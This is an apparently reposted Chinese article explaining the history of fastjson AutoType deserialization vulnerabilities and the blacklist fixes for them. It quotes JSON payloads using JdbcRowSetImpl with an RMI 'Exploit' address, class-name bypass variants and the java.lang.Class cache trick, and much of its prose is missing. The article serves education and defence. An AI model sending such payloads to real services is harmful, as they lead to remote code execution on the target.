fastjson到底做错了什么?为什么会被频繁爆出漏洞?
扫描二维码
随时随地手机看文章
1.2.59发布,增强AutoType打开时的安全性 fastjson 1.2.60发布,增加了AutoType黑名单,修复拒绝服务安全问题 fastjson 1.2.61发布,增加AutoType安全黑名单 fastjson 1.2.62发布,增加AutoType黑名单、增强日期反序列化和JSONPath fastjson 1.2.66发布,Bug修复安全加固,并且做安全加固,补充了AutoType黑名单 fastjson 1.2.67发布,Bug修复安全加固,补充了AutoType黑名单 fastjson 1.2.68发布,支持GEOJSON,补充了AutoType黑名单。(引入一个safeMode的配置,配置safeMode后,无论白名单和黑名单,都不支持autoType。) fastjson 1.2.69发布,修复新发现高危AutoType开关绕过安全漏洞,补充了AutoType黑名单 fastjson 1.2.70发布,提升兼容性,补充了AutoType黑名单
-
1、基于属性 -
2、基于setter/getter
class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) {
this.fruit = fruit;
}
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等
}
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
JSON.toJSONString
进行序列化,可以得到以下JSON内容:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
SerializerFeature.WriteClassName
进行标记,即将上述代码中的
String jsonString = JSON.toJSONString(store);
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
System.out.println("toJSONString : " + jsonString);
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
},
"name":"Hollis"
}
SerializerFeature.WriteClassName
进行标记后,JSON字符串中多出了一个@type
字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型
toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}
@type
到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。
@type
指定一个自己想要使用的攻击类库。
com.sun.rowset.JdbcRowSetImpl
,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
绕过checkAutotype,黑客与fastjson的博弈
L
和
;
,形如
Lcom.lang.Thread;
。
L
和
;
就可以绕过黑白名单的检查了,也不耽误被fastjson正常加载。
Lcom.sun.rowset.JdbcRowSetImpl;
,会先通过白名单校验,然后fastjson在加载类的时候会去掉前后的
L
和
,
变成了
com.sun.rowset.JdbcRowSetImpl
。
L
和
;
,如果是的话,就截取掉前后的
L
和
;
再进行黑白名单的校验。
LL
和
;;
,这样再被截取之后还是可以绕过检测。如
LLcom.sun.rowset.JdbcRowSetImpl;;
LL
未开头的判断,如果目标类以
LL
开头,那么就直接抛异常,于是就又短暂的修复了这个漏洞。
L
和
;
这里走不通了,于是想办法从其他地方下手,因为fastjson在加载类的时候,不只对
L
和
;
这样的类进行特殊处理,还对
[
也被特殊处理了。
[
,v1.2.43以前的所有版本又沦陷了。
[
开头或者以
;
结尾,都直接抛异常。也就解决了 v1.2.43及历史版本中发现的bug。
autoType不开启也能被攻击?
java.lang.Class
java.lang.Class
类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类。
{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}
利用异常进行攻击
ParserConfig.getGlobalInstance().setSafeMode(true);
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
参考资料:
https://github.com/alibaba/fastjson/releases
https://github.com/alibaba/fastjson/wiki/security_update_20200601
https://paper.seebug.org/1192/
https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
http://www.lmxspace.com/2019/06/29/FastJson-反序列化学习
喜欢本文的朋友们,欢迎长按下图关注公众号程序员小灰,收看更多精彩内容
给个[在看],是对小灰最大的支持!
免责声明:本文内容由21ic获得授权后发布,版权归原作者所有,本平台仅提供信息存储服务。文章仅代表作者个人观点,不代表本平台立场,如有问题,请联系我们,谢谢!